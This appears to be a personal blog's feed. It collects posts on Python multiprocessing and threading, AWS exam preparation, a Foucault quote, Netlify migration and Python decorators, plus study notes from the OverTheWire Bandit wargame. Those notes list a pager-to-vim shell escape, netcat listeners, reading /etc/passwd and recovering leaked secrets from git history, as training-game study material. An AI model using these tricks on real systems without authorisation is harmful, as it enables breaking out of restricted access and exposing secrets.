But I already have a blog, so why did I create another one?

Well, my official blog is not just a blog; that’s my personal website cum portfolio too. In my job applications and resumes, I frequently link to it. I am developing some unorthodox anti-capitalist, socialist—anarchist political opinions lately, and I can’t help but fear that expressing them on my professional blog would scare away potential employers. That’s one of the main reasons I thought of this blog, a separate, anonymous blog that isn’t linked to my identity directly—i.e., an employer wouldn’t come across this on a background check.
I try to maintain a high standard of the posts I make there in my official blog, so I refrain from writing short posts on half-baked ideas there. But writing long-form blog posts on mature thoughts is very hard: first of all, forming mature thoughts is difficult in itself, moreover writing them down properly is a tough task too for a newbie writer like me. That’s why I’m planning to use this blog as an endpoint for getting my immature ideas out.

So, let’s see how this goes!

Update — I’ve since decided to make this blog unanonymous, see this post for details.

Multiprocessing vs. Threading in Python: What Every Data Scientist Needs to Know

Sat, 07 Sep 2019 22:20:00 GMT

Sooner or later, every data science project faces an inevitable challenge: speed. Working with larger data sets leads to slower processing thereof, so you’ll eventually have to think about optimizing your algorithm’s run time. As most of you already know, parallelization is a necessary step of this optimization. Python offers two built-in libraries for parallelization: multiprocessing and threading. In this article, we’ll explore how data scientists can go about choosing between the two and which factors should be kept in mind while doing so.

Parallel Computing and Data Science

As you all know, data science is the science of dealing with large amounts of data and extracting useful insights from them. More often than not, the operations we perform on the data are easily parallelizable, meaning that different processing agents can run the operation on the data one piece at a time, then combine the results at the end to get the complete result.

To better visualize parallelizability, let’s consider a real world analogy. Suppose you need to clean three rooms in your home. You can either do it all by yourself, cleaning the rooms one after the other, or you can ask your two siblings to help you out, with each of you cleaning a single room. In the latter approach, each of you are working parallely on a part of the whole task, thus reducing the total time required to complete it. This is parallelizability in action.

Parallel processing can be achieved in Python in two different ways: multiprocessing and threading.

Multiprocessing and Threading: Theory

Fundamentally, multiprocessing and threading are two ways to achieve parallel computing, using processes and threads, respectively, as the processing agents. To understand how these work, we have to clarify what processes and threads are.

Process

A process is an instance of a computer program being executed. Each process has its own memory space it uses to store the instructions being run, as well as any data it needs to store and access to execute.

Threads

Threads are components of a process, which can run parallely. There can be multiple threads in a process, and they share the same memory space, i.e. the memory space of the parent process. This would mean the code to be executed as well as all the variables declared in the program would be shared by all threads.

Process and Threads, By I, Cburnett, CC BY-SA 3.0, Link

For example, let us consider the programs being run on your computer right now. You’re probably reading this article in a browser, which probably has multiple tabs open. You might also be listening to music through the Spotify desktop app at the same time. The browser and the Spotify application are different processes; each of them can use multiple processes or threads to achieve parallelism. Different tabs in your browser might be run in different threads. Spotify can play music in one thread, download music from the internet in another, and use a third to display the GUI. This would be called multithreading. The same can be done with multiprocessing—multiple processes—too. In fact, most modern browsers like Chrome and Firefox use multiprocessing, not multithreading, to handle multiple tabs.

Technical details

All the threads of a process live in the same memory space, whereas processes have their separate memory space.
Threads are more lightweight and have lower overhead compared to processes. Spawning processes is a bit slower than spawning threads.
Sharing objects between threads is easier, as they share the same memory space. To achieve the same between process, we have to use some kind of IPC (inter-process communication) model, typically provided by the OS.

Pitfalls of Parallel Computing

Introducing parallelism to a program is not always a positive-sum game; there are some pitfalls to be aware of. The most important ones are as follows.

Race Condition: As we already discussed, threads have a shared memory space, and therefore they can have access to shared variables. A race condition occurs when multiple threads try to change the same variable simultaneously. The thread scheduler can arbitrarily swap between threads, so we have no way of knowing the order in which the threads will try to change the data. This can result in incorrect behavior in either of the threads, particularly if the threads decide to do something based on the value of the variable. To prevent this from happening, a mutual exclusion (or mutex) lock can be placed around the piece of the code that modifies the variable so that only one thread can write to the variable at a time.
Starvation: Starvation occurs when a thread is denied access to a particular resource for longer periods of time, and as a result, the overall program slows down. This can happen as an unintended side effect of a poorly designed thread-scheduling algorithm.
Deadlock: Overusing mutex locks also has a downside - it can introduce deadlocks in the program. A deadlock is a state when a thread is waiting for another thread to release a lock, but that other thread needs a resource to finish that the first thread is holding onto. This way, both of the threads come to a standstill and the program halts. Deadlock can be thought of as an extreme case of starvation. To avoid this, we have to be careful not to introduce too many locks that are interdependent.
Livelock : Livelock is when threads keep running in a loop but don’t make any progress. This also arises out of poor design and improper use of mutex locks.

Multiprocessing and Threading in Python

The Global Interpreter Lock

When it comes to Python, there are some oddities to keep in mind. We know that threads share the same memory space, so special precautions must be taken so that two threads don’t write to the same memory location. The CPython interpreter handles this using a mechanism called GIL, or the Global Interpreter Lock.

From the Python wiki:

In CPython, the global interpreter lock, or GIL, is a mutex that protects access to Python objects, preventing multiple threads from executing Python bytecodes at once. This lock is necessary mainly because CPython’s memory management is not thread-safe.

Check the slides here for a more detailed look at the Python GIL.

The GIL gets its job done, but at a cost. It effectively serializes the instructions at the interpreter level. How this works is as follows: for any thread to perform any function, it must acquire a global lock. Only a single thread can acquire that lock at a time, which means the interpreter ultimately runs the instructions serially. This design makes memory management thread-safe, but as a consequence, it can’t utilize multiple CPU cores at all. In single-core CPUs, which is what the designers had in mind while developing CPython, it’s not much of a problem. But this global lock ends up being a bottleneck if you’re using multi-core CPUs.

This bottleneck, however, becomes irrelevant if your program has a more severe bottleneck elsewhere, for example in network, IO, or user interaction. In those cases, threading is an entirely effective method of parallelization. But for programs that are CPU bound, threading ends up making the program slower. Let’s explore this with some example use cases.

Use Cases for Threading

GUI programs use threading all the time to make applications responsive. For example, in a text editing program, one thread can take care of recording the user inputs, another can be responsible for displaying the text, a third can do spell-checking, and so on. Here, the program has to wait for user interaction, which is the biggest bottleneck. Using multiprocessing won’t make the program any faster.

Another use case for threading is programs that are IO bound or network bound, such as web-scrapers. In this case, multiple threads can take care of scraping multiple webpages in parallel. The threads have to download the webpages from the Internet, and that will be the biggest bottleneck, so threading is a perfect solution here. Web servers, being network bound, work similarly; with them, multiprocessing doesn’t have any edge over threading. Another relevant example is Tensorflow, which uses a thread pool to transform data in parallel.

Use Cases for Multiprocessing

Multiprocessing outshines threading in cases where the program is CPU intensive and doesn’t have to do any IO or user interaction. For example, any program that just crunches numbers will see a massive speedup from multiprocessing; in fact, threading will probably slow it down. An interesting real world example is Pytorch Dataloader, which uses multiple subprocesses to load the data into GPU.

Parallelization in Python, in Action

Python offers two libraries - multiprocessing and threading- for the eponymous parallelization methods. Despite the fundamental difference between them, the two libraries offer a very similar API (as of Python 3.7). Let’s see them in action.

import threading
import random
from functools import reduce


def func(number):
    random_list = random.sample(range(1000000), number)
    return reduce(lambda x, y: x*y, random_list)


number = 50000
thread1 = threading.Thread(target=func, args=(number,))
thread2 = threading.Thread(target=func, args=(number,))

thread1.start()
thread2.start()

thread1.join()
thread2.join()

You can see that I’ve created a function func that creates a list of random numbers and then multiplies all the elements of it sequentially. This can be a fairly heavy process if the number of items is large enough, say 50k or 100k.

Then, I’ve created two threads that will execute the same function. The thread objects have a start method that starts the thread asynchronously. If we want to wait for them to terminate and return, we have to call the join method, and that’s what we have done above.

As you can see, the API for spinning up a new thread to a task in the background is pretty straightforward. What’s great is that the API for multiprocessing is almost the exact same as well; let’s check it out.

import multiprocessing
import random
from functools import reduce


def func(number):
    random_list = random.sample(range(1000000), number)
    return reduce(lambda x, y: x*y, random_list)


number = 50000
process1 = multiprocessing.Process(target=func, args=(number,))
process2 = multiprocessing.Process(target=func, args=(number,))

process1.start()
process2.start()

process1.join()
process2.join()

There it is—just swap threading.Thread with multiprocessing.Process and you have the exact same program implemented using multiprocessing.

There’s obviously a lot more you can do with this, but that’s not within the scope of this article, so we won’t go into it here. Check out the docs here and here if you’re interested in learning more.

Benchmarks

Now that we have an idea of how the code implementing parallelization looks like, let’s get back to the performance issues. As we’ve noted before, threading is not suitable for CPU bound tasks; in those cases it ends up being a bottleneck. We can validate this using some simple benchmarks.

Firstly, let’s see how threading compares against multiprocessing for the code sample I showed you above. Keep in mind that this task does not involve any kind of IO, so it’s a pure CPU bound task.

And let’s see a similar benchmark for an IO bound task. For example, the following function —

import requests

def func(number):
    url = 'http://example.com/'
    for i in range(number):
        response = requests.get(url)
        with open('example.com.txt', 'w') as output:
            output.write(response.text)

The function is simply fetching a webpage and saving that to a local file, multiple times in a loop. Useless but straightforward and thus a good fit for demonstration. Let’s look at the benchmark.

Now there are a few things to note from these two charts:

In both cases, a single process took more execution time than a single thread. Evidently, processes have more overhead than threads.
For the CPU bound task, multiple processes perform way better than multiple threads. However, this difference becomes slightly less prominent when we’re using 8x parallelization. As the processor in my laptop is quad-core, up to four processes can use the multiple cores effectively. So when I’m using more processes, it doesn’t scale that well. But still, it outperforms threading by a lot because threading can’t utilize the multiple cores at all.
For the IO-bound task, the bottleneck is not CPU. So the usual limitations due to GIL don’t apply here, and multiprocessing doesn’t have an advantage. Not only that, the light overhead of threads actually makes them faster than multiprocessing, and threading ends up outperforming multiprocessing consistently.

Differences, Merits and Drawbacks

Threads run in the same memory space; processes have separate memory.
Following from the previous point: sharing objects between threads is easier, but the flip side of the coin is that you have to take extra measure for object synchronization to make sure that two threads don’t write to the same object at the same time and that a race condition does not occur.
Because of the added programming overhead of object synchronization, multi-threaded programming is more bug-prone. On the other hand, multi-processes programming is easy to get right.
Threads have a lower overhead compared to processes; spawning processes take more time than threads.
Due to limitations put in place by the GIL in Python, threads can’t achieve true parallelism utilizing multiple CPU cores. Multiprocessing does not have any such restrictions.
Process scheduling is handled by the OS, whereas thread scheduling is done by the Python interpreter.
Child processes are interruptible and killable, whereas child threads are not. You have to wait for the threads to terminate or join.

From all this discussion, we can conclude the following —

Threading should be used for programs involving IO or user interaction.
Multiprocessing should be used for CPU bound, computation-intensive programs.

From the Perspective of a Data Scientist

A typical data processing pipeline can be divided into the following steps:

Reading raw data and storing into main memory or GPU
Doing computation, using either CPU or GPU
Storing the mined information in a database or disk.

Let’s explore how we could introduce parallelism in these tasks so that they can be sped up.

Step 1 involves reading data from disk, so clearly disk IO is going to be the bottleneck for this step. As we’ve discussed, threads are the best option for parallelizing this kind of operation. Similarly, step 3 is also an ideal candidate for the introduction of threading.

However, step 2 consists of computations that involve the CPU or a GPU. If it’s a CPU based task, using threading will be of no use; instead, we have to go for multiprocessing. Only then we’ll be able to exploit the multiple cores of the CPU and achieve parallelism. If it’s a GPU based task, since GPU already implements a massively parallelized architecture at the hardware level, using the correct interface (libraries and drivers) to interact with the GPU should take care of the rest.

Now you may be thinking, “My data pipeline looks a bit different to this; I have some tasks that don’t really fit into this general framework.” Still, you should be able to observe the methodology used here to decide between threading and multiprocessing. The factors you should consider are:

Whether your task has any form of IO
Whether IO is the bottleneck of your program
Whether your task depends upon a large amount of computation by the CPU

With these factors in mind, together with the takeaways above, you should be able to make the decision. Also, keep in mind that you don’t have to use a single form of parallelism throughout your program. You should use one or the other for different parts of your program, whichever is suitable for that particular part.

Now we’ll look at two example scenarios a data scientist might face and how you can use parallel computing to speed them up.

Scenario: Downloading Emails

Let’s say you want to analyze all the emails in the inbox of your own home-grown startup and understand the trends: who are the most frequent senders, what are the most common keywords appearing in the emails, which day of the week or which hour of the day do you receive most emails, and so on. The first step of this project would be, of course, downloading the emails to your computer.

At first, let’s do it sequentially without using any parallelization. The code to use is below and it should be pretty self-explanatory. There is a function download_emails which takes a list of email ids as input and downloads them sequentially. This calls this function with a list of ids of 100 email at once.

import imaplib
import time

IMAP_SERVER = 'imap.gmail.com'
USERNAME = 'username@gmail.com'
PASSWORD = 'password'

def download_emails(ids):
    client = imaplib.IMAP4_SSL(IMAP_SERVER)
    client.login(USERNAME, PASSWORD)
    client.select()
    for i in ids:
        print(f'Downloading mail id: {i.decode()}')
        _, data = client.fetch(i, '(RFC822)')
        with open(f'emails/{i.decode()}.eml', 'wb') as f:
            f.write(data[0][1])
    client.close()
    print(f'Downloaded {len(ids)} mails!')

start = time.time()

client = imaplib.IMAP4_SSL(IMAP_SERVER)
client.login(USERNAME, PASSWORD)
client.select()
_, ids = client.search(None, 'ALL')
ids = ids[0].split()
ids = ids[:100]
client.close()

download_emails(ids)
print('Time:', time.time() - start)

Time taken :: 35.65300488471985 seconds.

Now let’s introduce some parallelizability into this task to speed things up. Before we dive into writing the code, we have to decide between threading and multiprocessing. As you’ve learned so far, threads are the best option when it comes to tasks that have some IO as the bottleneck. The task at hand obviously belongs to this category, as it is accessing an IMAP server over the internet. So we’ll be going with threading.

Much of the code we’re going to use is going to be the same as the one we used in the sequential case. The only difference is that we will split the list of 100 email ids into 10 smaller chunks, each chunk containing 10 ids, then create 10 threads and call the download_emails function with a different chunk from each of them. I’m using the concurrent.futures.ThreadPoolExecutor class from the Python standard library for threading.

import imaplib
import time
from concurrent.futures import ThreadPoolExecutor

IMAP_SERVER = 'imap.gmail.com'
USERNAME = 'username@gmail.com'
PASSWORD = 'password'

def download_emails(ids):
    client = imaplib.IMAP4_SSL(IMAP_SERVER)
    client.login(USERNAME, PASSWORD)
    client.select()
    for i in ids:
        print(f'Downloading mail id: {i.decode()}')
        _, data = client.fetch(i, '(RFC822)')
        with open(f'emails/{i.decode()}.eml', 'wb') as f:
            f.write(data[0][1])
    client.close()
    print(f'Downloaded {len(ids)} mails!')

start = time.time()

client = imaplib.IMAP4_SSL(IMAP_SERVER)
client.login(USERNAME, PASSWORD)
client.select()
_, ids = client.search(None, 'ALL')
ids = ids[0].split()
ids = ids[:100]
client.close()

number_of_chunks = 10
chunk_size = 10
executor = ThreadPoolExecutor(max_workers=number_of_chunks)
futures = []
for i in range(number_of_chunks):
    chunk = ids[i*chunk_size:(i+1)*chunk_size]
    futures.append(executor.submit(download_emails, chunk))

for future in concurrent.futures.as_completed(futures):
    pass
print('Time:', time.time() - start)

Time taken :: 9.841094255447388 seconds.

As you can see, threading, sped it up considerably.

Scenario: Classification Using Scikit-Learn

Let’s say you have a classification problem, and you want to use a random forest classifier for this. As it’s a standard and well-known machine learning algorithm, let’s not reinvent the wheel and just use sklearn.ensemble.RandomForestClassifier.

The below code serves demonstration purposes. I have created a classification dataset using the helper function sklearn.datasets.make_classification, then trained a RandomForestClassifier on that. Also, I’m timing the part of the code that does the core work of fitting the model.

from sklearn.ensemble import RandomForestClassifier
from sklearn import datasets
import time

X, y = datasets.make_classification(n_samples=10000, n_features=50, n_informative=20, n_classes=10)

start = time.time()
model = RandomForestClassifier(n_estimators=500)
model.fit(X, y)
print('Time:', time.time()-start)

Time taken :: 34.17733192443848 seconds.

Now we’ll look into how we can reduce the running time of this algorithm. We know that this algorithm can be parallelized to some extent, but what kind of parallelization would be suitable? It does not have any IO bottleneck; on the contrary, it’s a very CPU intensive task. So multiprocessing would be the logical choice.

Fortunately, sklearn has already implemented multiprocessing into this algorithm and we won’t have to write it from scratch. As you can see in the code below, we just have to provide a parameter n_jobs—the number of processes it should use—to enable multiprocessing.

from sklearn.ensemble import RandomForestClassifier
from sklearn import datasets
import time

X, y = datasets.make_classification(n_samples=10000, n_features=50, n_informative=20, n_classes=10)

start = time.time()
model = RandomForestClassifier(n_estimators=500, n_jobs=4)
model.fit(X, y)
print('Time:', time.time()-start)

Time taken :: 14.576200723648071 seconds.

As expected, multiprocessing made it quite a bit faster.

Conclusion

Most if not all data science projects will see a massive increase in speed with parallel computing. In fact, many of the popular data science libraries already have parallelism built into them, you just have to enable it. So before trying to implement it on your own, look through the documentation of the library you’re using and check if it supports parallelism. In case it doesn’t, this article should assist you in implementing it on your own.

About the Author

Sumit is a computer enthusiast who started programming at an early age; he’s currently finishing his master’s degree in computer science at IIT Delhi. Whenever he isn’t programming, you can probably find him either reading philosophy, playing the guitar, taking photos, or blogging. You can connect with Sumit on Twitter, LinkedIn, Github, and his website.

My Preparation Strategy for AWS Solutions Architect Associate Exam

Wed, 31 Jul 2019 18:30:00 GMT

I just cleared the AWS solutions architect associate exam—secured 973 marks in a scale of 100 to 1000—and I want to share my preparation strategy for anyone that might benefit from it.

Before starting my preparation, I looked around forums and subreddits for suggestions, and seemingly a popular suggestion was “A Cloud Guru video lectures and Whizlabs practice tests”. So I went with the popular vote and bought both of them.

A Cloud Guru Video Lectures

The format of A Cloud Guru lectures is not very captivating, it’s the usual slideshow with narration. Still, it helped me get a overall understanding of how every service works and how everything fits together. Kudos to the instructor Ryan who is a great communicator. There was a few hands-on labs too which helped solidify what I learned. I did not take any notes while going through the lectures, as I thought the summary lectures at the end of each section would be enough for revision.

Whizlabs Practice Tests

After I was done with the video lectures, I started taking the Whizlabs practice tests. After each test, I reviewed the answers and took notes for the questions I had difficulties with. Now, Whizlabs has a lot of questions, so I learned many details about the various AWS services from reviewing them. Answering so many questions—some of which have very similar patterns—kind of lets you build a muscle memory for answering the more trivial questions quickly without hesitation.

AWS re:Invent Videos

In between the Whizlabs tests, I watched some re:Invent videos—the ones on DynamoDB and VPC were super helpful in clearing my understanding. Also, the format of these conference talks were much more interesting and captivating than acloud.guru, that was a huge plus point.

Jon Bonso’s Practice Tests

With the above three, I started scoring consistently in the 80s in the Whizlabs practice tests. That made me confident and I started thinking about booking my exam appointment. And… then I fell sick. After a two-week hiatus I was ready to take the exam, but I was worried that I might have forgotten some stuff and my performance might not turn out to be good. So in order to brush up on my knowledge, I bought the practice tests by Jon Bonso on Udemy.

The first two tests were a hit on my confidence as I couldn’t clear any of them. The questions were much more involved; the MCQ options were very similar and required careful interpretation of the problem statement. I was introduced to some new concepts through the questions too. As usual, I took notes after each test, from the questions I had difficulty with. From the third test onwards, I started scoring in the 80s, and that helped me reaffirm my confidence.

The Exam

After the amount of preparation I did, the exam seemed of okayish difficulty to me—neither too easy, nor too hard. You get plenty of allotted time, so I went over each question twice and double-checked. Some questions were a bit tricky, but using the method of elimination I was able to arrive at an answer I was satisfied with.

Final Thoughts

I just want to say that you should not depend entirely upon video lectures; practice tests are crucial to solidify your knowledge and expose you to the question patterns. Also, Whizlabs tests are somewhat easier than the actual exam, so don’t let that give you a false sense of confidence.

Links for Resources

If this write-up was helpful to you in any way and if you want to say thanks, consider buying the study resources through the referral links below.

A Cloud Guru video lectures — Referral. Non-referral.
Whizlabs practice tests — Non-referral.
Jon Bonso’s practice tests — Referral. Non-referral.
My notes on Github. Free and open source, no referral link here XD.

Best of luck on your AWS journey!!!

Foucault: Saying Things as to No Longer Think Them

Wed, 17 Apr 2019 18:30:00 GMT

In this 1971 interview, Foucault says and he stresses upon it,

I don’t say the things I say because they are what I think, I say them as a way to make sure they no longer are what I think.

At least, that’s what the captioned subtitles claim what the English translation should be. Someone knowledgeable in French, even Google Translate, would say a better translation would be:

I don’t say the things because I think them, I say the things so as to no longer think them.

Just for reference, the original French is:

Je ne dis pas les choses parce que je les pense, je dis les choses pour ne plus les penser

Now that the original quote and possible translations are out of the way, I wanted to discuss what Foucault could’ve meant by this, and also how someone could possibly interpret this, keeping aside the authorial intent.

Getting ideas off his chest

He might be talking of getting his ideas off his chest, like the popular English idiom goes. Rumination of an idea can plague philosophers in a certain way, and the only way to get rid of them would be getting them out there, either through writing or speech. There is a definite parallel between this interpretation and the quote below;

“But then why do you write?

A: I am not one of those who think with a wet quill in hand; much less one of those who abandon themselves to their passions right before the open inkwell, sitting on their chair and staring at the paper. I am annoyed or ashamed by all writing; to me, writing is nature’s call - to speak of it even in simile is repugnant to me.

B: But why, then, do you write?

A: Well, my friend, I say this in confidence: until now I have found no other means of getting rid of my thoughts.

B: And why do you want to get rid of them?

A: Why do I want to? Do I want to? I have to.”

― Friedrich Nietzsche, The Gay Science

Once we look at the better translation, this interpretation might be the first one that we think of. But I don’t think this is what he meant at all; it becomes especially clear when we put the quote in context, as I’ll explain later.

Using the audience as sounding board

Critical thinkers often use their audience as a sounding board for half-baked or adolescent ideas. This way, the resulting discourse could be source of new ideas, and the idea in discussion could be honed or discarded. Even if the thinker in question does not agree with the idea, he still could throw it in the discussion for the sake of inciting thoughts in his audience, perfecting his own philosophy in the meantime.

Also I should mention that Foucault was seemingly an ENTP, and a typical characteristic of ENTP is their tendency to share abstract and not fully refined thoughts with their peers, as described in this article.

… ideas are usually shared with the world first and then analyzed afterwards.

So, it seems this interpretation is in line with his personality as defined by MBTI.

Knowledge-power and the death of the author

We can interpret this quote drawing reference from one of the Foucault’s primary philosophies, the philosophy of the power inherent in knowledge and consequently speech.

Thoughts in themselves do not have any effect upon the external world, when someone only thinks something, it’s private to him, it’s his thought. But once he shares it with the world through any form of expression, the death of the author occurs; the things are no longer confined within his ruminations, it becomes something else which is more active than thought. It becomes part of the general public discourse, involved with a certain form of power, which Foucault termed as knowledge-power. Thoughts when articulated have a far greater impact than people realize, as he eloquently said,

“People know what they do; frequently they know why they do what they do; but what they don’t know is what what they do does.”

― Michel Foucault, Madness and Civilization: A History of Insanity in the Age of Reason

Foucault is claiming he articulates certain ideas to make sure what he says is able to move beyond the realm of thought, as thought is immaterial compared to discourse and the corresponding knowledge and the power associated with it.

The death of man

To put the quote in question in context, let me share more from the interview.

I don’t believe in the virtue of using language for “self-expression”. The language that interests me is the one that can actually destroy all the circular, enclosed, narcissistic forms of the subject and of oneself… And what I mean by ‘the end of man’ is, deep down, the end of all these forms of individuality, of subjectivity, of consciousness, of the ego on which we built and from which we have tried to build and to constitute knowledge. This is one of the forms of this limitation, of these exclusions, of these rejections, that I was talking about… The West has tried to build the figure of man in this way and this image is in the process of disappearing… And so I don’t say the things I say because they are what I think, but rather I say them with the end in mind of self-destruction, precisely to make sure they are no longer what I think. To be really certain that from now on, outside of me, they are going to live or die in such a way that I will not have to recognize myself in them.

When we put his quote in context, we see that none of the above interpretations were his intent. Actually, he was talking along the lines of his philosophy of post-structuralism and post-humanism, wherein he proclaimed the upcoming death of man. Let me try to explain what he meant by this, although admittedly I’m very new to this, so this is more of an attempt of mine to clarify my own thoughts.

According to Foucault, the contemporary idea of man is an invention of the Enlightment and modernity. Before Enlightment, humanity’s thoughts were mostly guided by dogmas and its objects of observations were mostly God. But after the Enlightment and its objective analytical approach to everything, the place of God seemed to have been taken by man. This is what we typically refer to as Humanism, although the meaning of the term has fluctuated widely across time and among different intellectual cultures. Humanism is defined by Wikipedia as;

Humanism is a philosophical and ethical stance that emphasizes the value and agency of human beings, individually and collectively, and generally prefers critical thinking and evidence (rationalism and empiricism) over acceptance of dogma or superstition.

What modernity missed is the underlying episteme — a pattern of thought particular to an epoch which guides its discourses. Foucault disapproves of the excess emphasis modernity puts on the individual. He argues that the individual man who discovers ideas is insignificant to the ideas themselves, and the episteme in the background. Man’s insignificance lies in the fact that he doesn’t have as much freedom and creativity as we’d like to think, rather he’s a product of the power // knowledge relations of that epoch. Foucault believes that a change is imminent, where the death of man will be upon us and we’ll move beyond this modern conception of man, into understanding the underlying power structures that defines man. That’s why he says he doesn’t want to recognize himself in his ideas, because for him the ideas are not simply product of his creativity.

Again, this is a very premature reading of Foucault. He discusses these ideas in his 1966 book “The Order of Things: An Archaeology of the Human Sciences”, and I’m yet to read the original text. Nevertheless, I think this is more or less what he meant to say in the interview in question.

Credits — This “article” is nothing more than my notes from the interview in question, and this discussion here at Reddit, so thanks to the participants in that thread for bettering my understanding.

Migrating from Github Pages to Netlify :: Some Gotchas

Thu, 14 Feb 2019 18:30:00 GMT

I have been hearing lots of good things about Netlify for quite some time, but I didn’t consider migrating to it because, “If it ain’t broke, don’t fix it”. Github pages was serving me quite well until recently, when I wanted to add archive pages for tags. I found jekyll-archives, a Jekyll plugin unsupported by Github pages that does the job perfectly, and that’s what made me migrate to Netlify. As of now this site is published on Netlify, and I must tell you, it’s far better than what I expected. It has more than enough configurability, while making the process as seamless as possible.

I wanted to write this post because there are a few gotchas that you need to keep in mind to migrate your Github pages website successfully. These might not be that apparent when you just follow the wizard at Netlify, it most certainly wasn’t for me.

You have to have the following configuration options in your _config.yaml file.
```
timezone: Asia/Kolkata
url: https://sumit-ghosh.com
baseurl: ""
```
Without the timezone option, the deployment server will use its native time zone, which can have unintended consequences. For example, A post with date 15-02-2019 will get published when it’s that date in the server’s native time zone, not yours.

As for the url and baseurl options, you can get by without having them when you’re using Github pages to deploy, because Github pages automatically populates those from your CNAME file. But when you’re using Netlify, you have to specify them manually.
Set JEKYLL_ENV=production as an environment variable for the build environment. Check this page for instructions on how to do that. Again, Github pages takes care of this automatically, but you have to do it manually in Netlify. Without having this, your site will behave as if it was deployed locally, and will not include stuff like Google analytics tracking code and Disqus integration.
If you don’t want https://username.github.io to redirect to your custom domain, delete the CNAME file.

It’s important to note that I was using the Minima theme. You might need to make some more adjustments if you’re using any other fancier theme.

Notes from Overthewire Bandit

Tue, 12 Feb 2019 18:30:00 GMT

I solved the Bandit wargame by Overthewire over the last few days, and noted down anything new // interesting I learned. This is not a writeup in any way, you’re not likely to find solutions to specific questions here. This is more like study notes, mostly for me to come back to it later. That being said, I’m hoping it’ll help you in some way too.

Stuff I learnt

man page vs the help command — help is a feature of bash shell, it documents some bash commands, and is available in bash only. Whereas man is more general, and is a native feature of all Unix or Unix-like operating systems.
We can use dash (-) in Linux as an alias of stdin or stdout, whereas the standard way to do it would be using /dev/stdin and /dev/stdout. To use files named dash, either of the following can be used.
- Specify the filename relative to current directory. $ cat ./-
- Bash redirection. $ cat < -
Some interesting Unix commands.
- file, find, xargs, grep and piping between them to look for interesting files.
- sort and uniq, for getting unique lines in a text file.
- strings for searching for strings in binary files.
- base64 to encode or decode Base64.
- tr 'A-Za-z' 'N-ZA-Mn-za-m' for ROT13, or any suitable variation of the command for any form of the ROT encryption. Obviously, it can be used for other sorts of substitution, such as tr '[:upper:]' '[:lower:] will convert uppercase to lowercase.
- gzip, bzip2 and the tar are the standard compression formats used in Linux, and there are corresponding programs with the same names.
- xxd for creating hexdumps and reverse hexdumps.
- nc host port for arbitrary TCP // UDP connection.
- openssl s_client -connect host:port for connecting to SSL services.
- nmap for port scanning.
- diff for diffing, obviously.
- scp to copy stuff over the SSH protocol.
- Unix job control — jobs, fg, bg and CTRL+Z
- Listen on a port using netcat — nc -l -p port
- Split by space and take first element from each line — cut -d ' ' -f 1
- md5sum for MD5 checksum (duh!)
- More commands! — seq and tee. Seq produces a sequence of numbers, which can in turn be used in for loops in bash. Format strings can be used with with seq, like %04g. Tee can be used to put data from stdin into a file.
- echo -e is to be used when we’d want bash to interpret escaped characters as they are.
- getent passwd — for checking /etc/passwd file.
- Immensely useful for checking the history of a git repository — git log --graph --decorate --all --oneline
You have to have 400 as the permission for the SSH private key.
setuid, setgid, sticky and the corresponding chmod commands. These bits control which user the executable would be run as. Kind of similar to setting the “Run as administrator” flag in Windows, only here in Linux it’s much more flexible and versatile.
crontabs are in the /etc/cron.d/ directory, and cronjobs are run as the user that owns that crontab file.
Sometimes you can’t ls or cd into a directory, but still can write inside that directory…. strange but useful.
There should be no spaces around the equal sign while assigning variables in Bash.
You can trigger more to go into a command mode by making the terminal small enough. And while you’re in that mode, pressing v will open up and editor, by default vim. And then you can use vim commands to access the files, such as :e filename to open a file and :set shell=/bin/bash and then :shell to open a shell.
Finding info leak in git repos.
- Check git log and git tags and look for any interesting commit // tag. And then checkout to it using git checkout commit and grab that info.
- Check .git/packed-refs for all refs. And then, if checking out to a ref doesn’t work, use git show ref or git cat-file -p ref on it to directly read the contents.

Demystifying @decorators in Python

Mon, 14 Jan 2019 18:30:00 GMT

Introduction

Decorators are one of the most powerful tools Python has, but it may seem elusive to beginners. My first introduction to decorators was through Flask, the web framework. I didn’t really delve into it at that time, just accepted it as a part of the Flask framework that I was to use mindlessly. Maybe it was that way for you too, but you’re here—that means you want to change that. So let’s do it!

What are decorators?

Beginners may not feel comfortable with it because it goes outside “normal” procedural programming—like C—where you define functions containing blocks of code and call them, or object-oriented programming, where you define classes and instantiate objects of them. Decorators lie in neither of these paradigms, it comes from the realm of functional programming. But I’m getting ahead of myself, let us tackle the concepts one-by-one.

By definition, a decorator is a function that allows us to wrap another function in order to extend the behavior of the wrapped function, without permanently modifying it. This is why decorators can also be thought of as a practice of metaprogramming, in which computer programs have the ability to treat other programs as their data. To understand how this works, we first have to make sure that we understand how Python treats functions.

Understanding functions

We all know what functions are, right? Don’t be so sure. There are some aspects of functions in Python that we don’t deal with very often, and subsequently they are often forgotten. Let us clear up what functions are and how are they represented in Python.

Functions as procedures

This is the facet of functions we are most familiar with. A procedure is defined as a series of computational steps to be carried out. Any given procedure might be called at any point during a program’s execution, including by other procedures or itself. There isn’t much else to it, so I’ll move on to the next aspect of functions in Python.

Functions as first-class objects

In Python, everything is an object, not just the ones you instantiate from a class. In that sense, it embraces object-oriented programming to its core. So that means, all of the following are objects in Python

Integers
Strings
Classes—yes, even classes!
Functions—this is what we’re interested in.

You should realize that everything being objects opens up a world of endless possibility. That means we can save functions in a variable, and pass them to and return from another function even! You can also define a function in another function. In other words, functions are first-class citizens (or objects). From Wikipedia —

In programming language design, a first-class citizen (also type, object, entity, or value) in a given programming language is an entity which supports all the operations generally available to other entities. These operations typically include being passed as an argument, returned from a function, modified, and assigned to a variable.

And that’s where functional programming comes into play, and consequently, decorators.

Functional programming :: Higher-order functions

Python incorporates some techniques from functional programming languages, such as Haskell and OCaml. Without getting into the formal definition of what functional programming is, let me list two characteristics of it that are there in Python as well.

Functions are treated as first-class citizens.
Consequently, it supports higher-order functions.

There are some other properties of functional programming, such as its functions having no side-effect, but I’d be getting out of topic if I started discussing those. Let us instead focus on what’s relevant — higher-order functions. But what are higher-order functions? By the definition from Wikipedia

Higher-order functions are functions that can take other functions as arguments or return them as results.

If you know basic calculus, you know some higher-order mathematical functions already, such as the differential operator $$ d/dx $$. It takes a function as input and returns another function, it’s derivative as output. Higher-order functions in a programming context work the same way, it either takes a function(s) as input or returns them as output, or both!

Some examples

Now that we know the theory behind all the facets of functions in Python, let us contextualize them with some example code.

def hello_world():
    print('Hello world!')

Here’s an example function, the quintessential introductory function. You can see from the following snippet that this function, along with classes and integers—everything are objects, instances of classes, in Python.

>>> def hello_world():
...     print('Hello world!')
...
>>> type(hello_world)
<class 'function'>
>>> class Hello:
...     pass
...
>>> type(Hello)
<class 'type'>
>>> type(10)
<class 'int'>

